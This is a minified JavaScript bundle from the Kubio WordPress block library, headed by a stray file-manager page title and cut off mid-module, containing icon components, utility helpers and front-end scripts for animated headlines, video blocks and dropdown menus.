Sindbad~EG File Manager
this.kubio=this.kubio||{},this.kubio.blockLibrary=function(e){var t={};function o(n){if(t[n])return t[n].exports;var a=t[n]={i:n,l:!1,exports:{}};return e[n].call(a.exports,a,a.exports,o),a.l=!0,a.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var a in e)o.d(n,a,function(t){return e[t]}.bind(null,a));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=638)}({0:function(e,t){!function(){e.exports=this.wp.element}()},1:function(e,t){!function(){e.exports=this.wp.i18n}()},10:function(e,t){!function(){e.exports=this.React}()},11:function(e,t){!function(){e.exports=this.wp.compose}()},12:function(e,t){!function(){e.exports=this.wp.blocks}()},120:function(e,t,o){"use strict";var n=o(0);t.a=function(e){let{icon:t,size:o=24,...a}=e;return Object(n.cloneElement)(t,{width:o,height:o,...a})}},13:function(e,t,o){var n;!function(){"use strict";var o={}.hasOwnProperty;function a(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var l=typeof n;if("string"===l||"number"===l)e.push(n);else if(Array.isArray(n)){if(n.length){var r=a.apply(null,n);r&&e.push(r)}}else if("object"===l){if(n.toString!==Object.prototype.toString&&!n.toString.toString().includes("[native code]")){e.push(n.toString());continue}for(var i in n)o.call(n,i)&&n[i]&&e.push(i)}}}return e.join(" ")}e.exports?(a.default=a,e.exports=a):void 0===(n=function(){return a}.apply(t,[]))||(e.exports=n)}()},16:function(e,t){!function(){e.exports=this.wp.blockEditor}()},17:function(e,t){!function(){e.exports=this.kubio.icons}()},182:function(e,t){!function(){e.exports=this.wp.blob}()},19:function(e,t){!function(){e.exports=this.kubio.utils}()},191:function(e,t,o){"use strict";var n=Object.getOwnPropertySymbols,a=Object.prototype.hasOwnProperty,l=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},o=0;o<10;o++)t["_"+String.fromCharCode(o)]=o;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var n={};return"abcdefghijklmnopqrst".split("").forEach((function(e){n[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},n)).join("")}catch(e){return!1}}()?Object.assign:function(e,t){for(var o,r,i=function(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}(e),c=1;c<arguments.length;c++){for(var s in o=Object(arguments[c]))a.call(o,s)&&(i[s]=o[s]);if(n){r=n(o);for(var u=0;u<r.length;u++)l.call(o,r[u])&&(i[r[u]]=o[r[u]])}}return i}},2:function(e,t){!function(){e.exports=this.lodash}()},206:function(e,t){!function(){e.exports=this.kubio.scripts}()},21:function(e,t){!function(){e.exports=this.kubio.inspectors}()},222:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M13.5 6C10.5 6 8 8.5 8 11.5c0 1.1.3 2.1.9 3l-3.4 3 1 1.1 3.4-2.9c1 .9 2.2 1.4 3.6 1.4 3 0 5.5-2.5 5.5-5.5C19 8.5 16.5 6 13.5 6zm0 9.5c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4z"}));t.a=l},23:function(e,t){!function(){e.exports=this.wp.hooks}()},24:function(e,t){!function(){e.exports=this.kubio.constants}()},25:function(e,t){!function(){e.exports=this.kubio.colibri}()},26:function(e,t){!function(){e.exports=this.kubio.globalData}()},260:function(e,t){!function(){e.exports=this.kubio.formatLibrary}()},261:function(e,t){!function(){e.exports=this.moment}()},27:function(e,t){!function(){e.exports=this.wp.keycodes}()},273:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"}));t.a=l},280:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{fillRule:"evenodd",d:"M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",clipRule:"evenodd"}));t.a=l},29:function(e,t){!function(){e.exports=this.kubio.pro}()},3:function(e,t){!function(){e.exports=this.wp.components}()},32:function(e,t){var o="undefined"!=typeof Element,n="function"==typeof Map,a="function"==typeof Set,l="function"==typeof ArrayBuffer&&!!ArrayBuffer.isView;function r(e,t){if(e===t)return!0;if(e&&t&&"object"==typeof e&&"object"==typeof t){if(e.constructor!==t.constructor)return!1;var i,c,s,u;if(Array.isArray(e)){if((i=e.length)!=t.length)return!1;for(c=i;0!=c--;)if(!r(e[c],t[c]))return!1;return!0}if(n&&e instanceof Map&&t instanceof Map){if(e.size!==t.size)return!1;for(u=e.entries();!(c=u.next()).done;)if(!t.has(c.value[0]))return!1;for(u=e.entries();!(c=u.next()).done;)if(!r(c.value[1],t.get(c.value[0])))return!1;return!0}if(a&&e instanceof Set&&t instanceof Set){if(e.size!==t.size)return!1;for(u=e.entries();!(c=u.next()).done;)if(!t.has(c.value[0]))return!1;return!0}if(l&&ArrayBuffer.isView(e)&&ArrayBuffer.isView(t)){if((i=e.length)!=t.length)return!1;for(c=i;0!=c--;)if(e[c]!==t[c])return!1;return!0}if(e.constructor===RegExp)return e.source===t.source&&e.flags===t.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===t.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===t.toString();if((i=(s=Object.keys(e)).length)!==Object.keys(t).length)return!1;for(c=i;0!=c--;)if(!Object.prototype.hasOwnProperty.call(t,s[c]))return!1;if(o&&e instanceof Element)return!1;for(c=i;0!=c--;)if(("_owner"!==s[c]&&"__v"!==s[c]&&"__o"!==s[c]||!e.$$typeof)&&!r(e[s[c]],t[s[c]]))return!1;return!0}return e!=e&&t!=t}e.exports=function(e,t){try{return r(e,t)}catch(e){if((e.message||"").match(/stack|recursion/i))return console.warn("react-fast-compare cannot handle circular refs"),!1;throw e}}},320:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z"}));t.a=l},322:function(e,t,o){var n;!function(){"use strict";var o=function(){function e(){}function t(e,t){for(var o=t.length,n=0;n<o;++n)a(e,t[n])}e.prototype=Object.create(null);var o={}.hasOwnProperty,n=/\s+/;function a(e,a){if(a){var l=typeof a;"string"===l?function(e,t){for(var o=t.split(n),a=o.length,l=0;l<a;++l)e[o[l]]=!0}(e,a):Array.isArray(a)?t(e,a):"object"===l?function(e,t){if(t.toString===Object.prototype.toString||t.toString.toString().includes("[native code]"))for(var n in t)o.call(t,n)&&(e[n]=!!t[n]);else e[t.toString()]=!0}(e,a):"number"===l&&function(e,t){e[t]=!0}(e,a)}}return function(){for(var o=arguments.length,n=Array(o),a=0;a<o;a++)n[a]=arguments[a];var l=new e;t(l,n);var r=[];for(var i in l)l[i]&&r.push(i);return r.join(" ")}}();e.exports?(o.default=o,e.exports=o):void 0===(n=function(){return o}.apply(t,[]))||(e.exports=n)}()},328:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M15.6 7.2H14v1.5h1.6c2 0 3.7 1.7 3.7 3.7s-1.7 3.7-3.7 3.7H14v1.5h1.6c2.8 0 5.2-2.3 5.2-5.2 0-2.9-2.3-5.2-5.2-5.2zM4.7 12.4c0-2 1.7-3.7 3.7-3.7H10V7.2H8.4c-2.9 0-5.2 2.3-5.2 5.2 0 2.9 2.3 5.2 5.2 5.2H10v-1.5H8.4c-2 0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z"}));t.a=l},329:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"}));t.a=l},33:function(e,t){!function(){e.exports=this.kubio.editorData}()},330:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"}));t.a=l},331:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(n.createElement)(a.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"}));t.a=l},35:function(e,t){!function(){e.exports=this.wp.url}()},372:function(e,t,o){"use strict";var n=o(0),a=o(5),l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M20.1 5.1L16.9 2 6.2 12.7l-1.3 4.4 4.5-1.3L20.1 5.1zM4 20.8h8v-1.5H4v1.5z"}));t.a=l},388:function(e,t,o){var n=o(191);function a(e){var t=typeof e;return"function"===t||"object"===t&&!!e}function l(e){return"string"==typeof e}function r(e){return e.split(/\s+/g).filter((function(e){return 0!==e.length}))}function i(e){return l(e)&&""!==e?r(e):e&&e.length?e.reduce((function(e,t){return t?e.concat(r(t)):e}),[]):a(e)?(t=e,Object.keys(t).reduce((function(e,o){var n=t[o];return"function"==typeof n&&(n=n()),n?e.concat(r(o)):e}),[])):[];var t}function c(e){return function(t){l(t)&&(t={name:t});var o=(t=n({prefix:"",modifierDelimiter:"--",outputIsString:!1},e,t)).prefix+t.name,r=t.modifierDelimiter,c=t.outputIsString;return function(e,t,n){var l;a(e)?(l=e.element,t=e.modifiers||e.modifier,n=e.extra):l=e;var s=l?o+"__"+l:o,u=[s].concat(i(t).map((function(e){return s+r+e}))).concat(i(n)).join(" ").trim();return c?u:{className:u}}}}var s=c({});s.withDefaults=c,e.exports=s},389:function(e,t,o){"use strict";e.exports=e=>{if("string"!=typeof e)throw new TypeError("Expected a string");return e.replace(/[|\\{}()[\]^$+*?.]/g,"\\$&").replace(/-/g,"\\x2d")}},39:function(e,t){!function(){e.exports=this.wp.coreData}()},4:function(e,t){!function(){e.exports=this.kubio.core}()},420:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M5 9v6h14V9H5zm11-4.8H8v1.5h8V4.2zM8 19.8h8v-1.5H8v1.5z"}));t.a=l},421:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(n.createElement)(a.Path,{d:"M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"}));t.a=l},425:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M4 19.8h8.9v-1.5H4v1.5zm8.9-15.6H4v1.5h8.9V4.2zm-8.9 7v1.5h16v-1.5H4z"}));t.a=l},426:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M16.4 4.2H7.6v1.5h8.9V4.2zM4 11.2v1.5h16v-1.5H4zm3.6 8.6h8.9v-1.5H7.6v1.5z"}));t.a=l},427:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M11.1 19.8H20v-1.5h-8.9v1.5zm0-15.6v1.5H20V4.2h-8.9zM4 12.8h16v-1.5H4v1.5z"}));t.a=l},428:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M5 4v11h14V4H5zm3 15.8h8v-1.5H8v1.5z"}));t.a=l},43:function(e,t,o){"use strict";e.exports=o(77)},430:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7.8 16.5H5c-.3 0-.5-.2-.5-.5v-6.2h6.8v6.7zm0-8.3H4.5V5c0-.3.2-.5.5-.5h6.2v6.7zm8.3 7.8c0 .3-.2.5-.5.5h-6.2v-6.8h6.8V19zm0-7.8h-6.8V4.5H19c.3 0 .5.2.5.5v6.2z",fillRule:"evenodd",clipRule:"evenodd"}));t.a=l},431:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M18.5 5.5h-13c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5h-13c-.3 0-.5-.2-.5-.5v-9c0-.3.2-.5.5-.5h13c.3 0 .5.2.5.5v9zM6.5 12H8v-2h2V8.5H6.5V12zm9.5 2h-2v1.5h3.5V12H16v2z"}));t.a=l},432:function(e,t,o){"use strict";var n=o(0),a=o(5);const l=Object(n.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(n.createElement)(a.Path,{d:"M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z"}));t.a=l},434:function(e,t){!function(e){const t=function(t){const o=e.extend({animationType:"rotate-1",animationDelay:2500,barAnimationDelay:3800,barWaiting:800,lettersDelay:50,typeLettersDelay:150,selectionDuration:500,typeAnimationDelay:1300,revealDuration:600,revealAnimationDelay:1500},t);let n=o.animationDelay;function a(e){const t=c(e);if(e.parents(".ah-headline").hasClass("type")){const n=e.parent(".ah-words-wrapper");n.addClass("selected").removeClass("waiting"),setTimeout((function(){n.removeClass("selected"),e.removeClass("is-visible").addClass("is-hidden").children("i").removeClass("in").addClass("out")}),o.selectionDuration),setTimeout((function(){l(t,o.typeLettersDelay)}),o.typeAnimationDelay)}else if(e.parents(".ah-headline").hasClass("letters")){const n=e.children("i").length>=t.children("i").length;r(e.find("i").eq(0),e,n,o.lettersDelay),i(t.find("i").eq(0),t,n,o.lettersDelay)}else e.parents(".ah-headline").hasClass("clip")?e.parents(".ah-words-wrapper").animate({width:"2px"},o.revealDuration,(function(){s(e,t),l(t)})):e.parents(".ah-headline").hasClass("loading-bar")?(e.parents(".ah-words-wrapper").removeClass("is-loading"),s(e,t),setTimeout((function(){a(t)}),o.barAnimationDelay),setTimeout((function(){e.parents(".ah-words-wrapper").addClass("is-loading")}),o.barWaiting)):(s(e,t),setTimeout((function(){a(t)}),o.animationDelay))}function l(e,t){e.parents(".ah-headline").hasClass("type")?(i(e.find("i").eq(0),e,!1,t),e.addClass("is-visible").removeClass("is-hidden")):e.parents(".ah-headline").hasClass("clip")&&e.parents(".ah-words-wrapper").animate({width:e.width()+10},o.revealDuration,(function(){setTimeout((function(){a(e)}),o.revealAnimationDelay)}))}function r(t,n,l,i){if(t.removeClass("in").addClass("out"),t.is(":last-child")?l&&setTimeout((function(){a(c(n))}),o.animationDelay):setTimeout((function(){r(t.next(),n,l,i)}),i),t.is(":last-child")&&e("html").hasClass("no-csstransitions")){const e=c(n);s(n,e)}}function i(e,t,n,l){e.addClass("in").removeClass("out"),e.is(":last-child")?(t.parents(".ah-headline").hasClass("type")&&setTimeout((function(){t.parents(".ah-words-wrapper").addClass("waiting")}),200),n||setTimeout((function(){a(t)}),o.animationDelay)):setTimeout((function(){i(e.next(),t,n,l)}),l)}function c(e){return e.is(":last-child")?e.parent().children().eq(0):e.next()}function s(e,t){e.removeClass("is-visible").addClass("is-hidden"),t.removeClass("is-hidden").addClass("is-visible")}this.each((function(){const t=e(this);if(o.animationType&&("type"===o.animationType||"rotate-2"===o.animationType||"rotate-3"===o.animationType||"scale"===o.animationType?t.find(".ah-headline").addClass("letters "+o.animationType):"clip"===o.animationType?t.find(".ah-headline").addClass(o.animationType+" is-full-width"):t.find(".ah-headline").addClass(o.animationType)),e(".ah-headline.letters").find("b").each((function(){const t=e(this),o=t.text().split(""),n=t.hasClass("is-visible");for(const e in o)t.parents(".rotate-2").length>0&&(o[e]="<em>"+o[e]+"</em>"),o[e]=n?'<i class="in">'+o[e]+"</i>":"<i>"+o[e]+"</i>";const a=o.join("");t.html(a).css("opacity",1)})),t.hasClass("loading-bar"))n=o.barAnimationDelay,setTimeout((function(){t.find(".ah-words-wrapper").addClass("is-loading")}),o.barWaiting);else if(t.hasClass("clip")){const e=t.find(".ah-words-wrapper"),o=e.width()+10;e.css("width",o)}else if(!t.find(".ah-headline").hasClass("type")){let o=t.find(".ah-words-wrapper b"),n=0;o.each((function(){const t=e(this).width();t>n&&(n=t)})),t.find(".ah-words-wrapper").css("width",n)}setTimeout((function(){a(t.find(".is-visible").eq(0))}),n)}))};window.wp&&window.wp.customize?e.fn.animatedHeadline=function(){const e=this,o=arguments;setTimeout((()=>{t.apply(e,o)}),100)}:e.fn.animatedHeadline=t}(jQuery)},435:function(e,t){!function(e,t){const o="fancy-title",n=function(e,n){this.namespace=o,this.defaults={typeAnimationDurationIn:.1,typeAnimationDurationOut:.1,animationDuration:1},t.apply(this,arguments),this.start()};n.prototype={start(){if("type"!==this.opts.typeAnimation)jQuery(this.$element).animatedHeadline({animationType:this.opts.typeAnimation,animationDelay:1e3*this.opts.animationDuration});else if(!this.isIE()){jQuery(this.$element).attr("fancy-id");const e=this.opts.rotatingWords.split("\n");e.unshift(this.opts.word);const t={strings:e,typeSpeed:1e3*this.opts.typeAnimationDurationIn,backSpeed:1e3*this.opts.typeAnimationDurationOut,contentType:"html",smartBackspace:!1,loop:!0};this.$element.empty(),new Typed(this.$element[0],t)}},isIE(){const e=navigator.userAgent;return e.indexOf("MSIE ")>-1||e.indexOf("Trident/")>-1}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},436:function(e,t){!function(e,t){const o="video";class n{constructor(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this.$element=e,this.data=t}play(){}stop(){}pause(){}startIfAutoplay(){this.data.autoPlay&&this.play()}getContentWindow(){const e=this.$element.find("iframe");if(!(e.length<1))return e.get(0).contentWindow}}class a extends n{play(){this.runCommand("playVideo")}pause(){this.runCommand("pauseVideo")}stop(){this.runCommand("stopVideo")}runCommand(e){const t=this.getContentWindow();if(!t)return;const o=JSON.stringify({event:"command",func:e});t.postMessage(o,"https://www.youtube.com")}}class l extends n{play(){this.runCommand("play")}pause(){this.runCommand("pause")}stop(){this.runCommand("pause"),this.runCommand("setCurrentTime","0")}runCommand(e,t){const o=this.getContentWindow();if(!o)return;const n=JSON.stringify({method:e,value:t});o.postMessage(n,"*")}}class r extends n{constructor(e,t){super(e,t),this.video=this.$element.find("video").get(0),this.video.loop&&t.startTime&&t.endTime&&this.video.addEventListener("timeupdate",(()=>{this.video.currentTime>=t.endTime&&(this.video.currentTime=t.startTime,this.play())}))}play(){this.video.play().catch((e=>{this.video.muted=!0}))}pause(){this.video.pause()}stop(){this.pause(),this.video.currentTime=0}}const i=function(e,n){this.namespace=o,this.defaults={data:{}},t.apply(this,arguments),this.start()};i.prototype={start(){switch((this.opts||{}).displayAs){case"posterImage":this.addPosterImageLogic();break;case"iconWithLightbox":this.addIconWithLightBoxLogic()}this.addVideoHandler();let e=!1;this.intersectionObserver=this.$element.respondToVisibility((t=>{t&&e&&this.handler.startIfAutoplay(),e||(e=!0)}))},stop(){this.intersectionObserver&&(this.intersectionObserver.disconnect(),this.intersectionObserver=null)},addVideoHandler(){switch(this.opts.videoCategory){case"internal":this.handler=new r(this.$element,this.opts);break;case"youtube":this.handler=new a(this.$element,this.opts);break;case"vimeo":this.handler=new l(this.$element,this.opts)}},addPosterImageLogic(){const e=this.opts,t=this.$element.find(".wp-block-kubio-video__poster");if(0!==t.length){const o=t.find("a"),n=t.find(".h-svg-icon");0!==o.length&&(o.removeAttr("href"),o.click({element:this.$element,data:e},this.startVideo.bind(this))),0!==n.length&&n.click({element:this.$element,data:e},this.startVideo.bind(this))}},addIconWithLightBoxLogic(){const e=this.opts,t=this.$element.find(".wp-block-kubio-video__lightbox");0!==t.length&&t.find(".h-svg-icon ").click({element:this.$element,data:e},this.startVideo)},startVideo(t){const o=t.data.element,n=t.data.data.lightBox;if(n||o.find(".wp-block-kubio-video__poster").hide(),"internal"!==t.data.data.videoCategory){const t=o.find("iframe");if(n){let n=t.attr("src");n=n.replace("autoplay=0","autoplay=1"),n=n.replace("autopause=0",""),e.fancybox.open({src:n,opts:{beforeClose(e,t){o.find(".wp-block-kubio-video__poster").show()}}})}else this.handler.play()}else n?(o.find(".wp-block-kubio-video__video"),e.fancybox.open({src:o.find("video"),type:"inline",modal:!1,touch:!1,showCloseButton:!0,opts:{afterLoad(e,t){const o=t.$content.find("video");0!==o.length&&o.removeClass("h-video-main")},beforeClose(e,t){o.find(".wp-block-kubio-video__poster").show()}}})):this.handler.play()}},i.inherits(t),t[o]=i,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},437:function(e,t){!function(e,t){const o="dropdown-menu",n=function(){this.namespace=o,this.defaults={menuSelector:".kubio-menu",$menu:null},t.apply(this,arguments),this.start()};n.prototype={start(){const e=this.$element.find(this.opts.menuSelector).first();this.opts.$menu=e;const t=e.find("> ul > li.current-menu-item").get(0);this.stop(),this.addListener(),this.addFocusListener(),this.addReverseMenuLogic(),this.addTabletMenuLogic(),this.addMenuScrollSpy(e,t)},toggleFocus(t){let o=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];for(;this.opts.$menu[0]!==t;)"li"===t.tagName.toLowerCase()&&(o?(e(t).closest("li.menu-item-has-children").children("a").addClass("hover"),t.classList.add("hover"),e(t).children("a").addClass("hover")):(e(t).closest("li.menu-item-has-children").children("a").removeClass("hover"),t.classList.remove("hover"),e(t).children("a").removeClass("hover"))),t=t.parentElement},addFocusListener(){const e=this.opts.$menu.find("li");e.on("mouseover",(e=>{this.toggleFocus(e.currentTarget)})),e.on("mouseout",(e=>{this.toggleFocus(e.currentTarget,!1)}));const t=this.opts.$menu.find("li > a");t.on("focus",(e=>{this.toggleFocus(e.currentTarget)})),t.on("blur",(e=>{this.toggleFocus(e.currentTarget,!1)}))},stop(){this.removeListeners()},copyLiEventTaA(t){let o="";t.target&&t.target.tagName&&(o=t.target.tagName),"a"!==o.toLowerCase()&&e(t.currentTarget).find("> a")[0].click()},addListener(){this.opts.$menu.find("li").on("click",this.copyLiEventTaA)},removeListeners(){const e=this.opts.$menu;e.off("mouseover.navigation"),e.find("li").off("click",this.copyLiEventTaA),this.removeTabletLogic()},removeTabletLogic(){this.opts.$menu.off("tap.navigation")},addReverseMenuLogic(){const t=this.opts.$menu,o=this;t.on("mouseover.navigation","li",(function(){t.find("li.hover").removeClass("hover"),o.setOpenReverseClass(t,e(this))}))},setOpenReverseClass(e,t){if(this.getItemLevel(e,t)>0){const e=t.children("ul"),o=e.length&&t.offset().left+t.width()+300>window.innerWidth,n=e.length&&t.closest(".open-reverse").length;o||n?e.addClass("open-reverse"):e.length&&e.removeClass("open-reverse")}},getItemLevel(e,t){const o=this.opts.menuSelector;return t.parentsUntil(o).filter("li").length},addTabletMenuLogic(){const e=this.opts.$menu;this.opts.clickOnLink||(this.opts.clickOnLink=this.clickOnLink.bind(this)),this.opts.clickOnArrow||(this.opts.clickOnArrow=this.clickOnArrow.bind(this)),e.off("tap.navigation",this.opts.clickOnArrow),e.on("tap.navigation","li.menu-item > a svg",this.opts.clickOnArrow),e.off("tap.navigation",this.opts.clickOnLink),e.on("tap.navigation","li.menu-item > a",this.opts.clickOnLink)},clickOnLink(t){let o=arguments.length>1&&void 0!==arguments[1]&&arguments[1];const n=this,a=e(t.target),l=a.closest("li"),r=a.closest("a"),i=this.opts.$menu;if(l.children("ul").length)if(n.isSelectedItem(l)){const a=r.attr("href");if(0===a.indexOf("#")){const t=a.replace("#","").trim();if(!t||!e("#"+t).length)return}t.stopPropagation(),o&&t.preventDefault(),n.deselectItems(i,l)}else t.stopPropagation(),t.preventDefault(),n.selectItem(i,l);else t.stopPropagation(),(o||!o&&n.isSelectedItem(l))&&t.preventDefault(),n.deselectItems(i,l)},clickOnArrow(e){this.clickOnLink(e,!0)},selectItem(t,o){this.deselectItems(t,o),o.attr("data-selected-item",!0),this.clearMenuHovers(t,o),o.addClass("hover"),this.setOpenReverseClass(t,o);const n=this;e("body").on("tap.navigation-clear-selection","*",(function(){const e=jQuery(this);n.clearSelectionWhenTapOutside(e,t)})),e(window).on("scroll.navigation-clear-selection",(function(){const e=jQuery(this);n.clearSelectionWhenTapOutside(e,t)}))},deselectItems(t,o){o.removeClass("hover"),t.find("[data-selected-item]").each((function(){e(this).removeAttr("data-selected-item");const o=t.children("ul");t.is(".mobile-menu")&&o.slideDown()}))},isSelectedItem:e=>e.is("[data-selected-item]"),clearMenuHovers(t,o){const n=this;t.find("li.hover").each((function(){o&&n.containsSelectedItem(e(this))||e(this).removeClass("hover")}))},containsSelectedItem:e=>e.find("[data-selected-item]").length>0||e.is("[data-selected-item]"),clearSelectionWhenTapOutside(t,o){e("body").off("tap.navigation-clear-selection"),e(window).off("scroll.navigation-clear-selection"),t.is(o)||e.contains(o[0],this)||this.clearMenuHovers(o)},addMenuScrollSpy(t,o){const n=t;e.fn.kubioScrollSpy&&n.find("a").kubioScrollSpy({onChange(){n.find(".current-menu-item, .current_page_item").removeClass("current-menu-item current_page_item"),e(this).closest("li").addClass("current-menu-item current_page_item")},onLeave(){const t=n.closest(".h-navigation_sticky");e(this).closest("li").removeClass("current-menu-item current_page_item hover"),!n.find(".current-menu-item, .current_page_item").length&&o&&(t||n.find(".current-menu-item, .current_page_item").removeClass("current-menu-item current_page_item"),e(o).addClass("current-menu-item current_page_item"))},smoothScrollAnchor:!0,offset(){const e=n.closest(".h-navigation_sticky");return e.length?e[0].getBoundingClientRect().height:0}}),e(window).trigger("smoothscroll.update")}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},438:function(e,t){!function(e,t){const 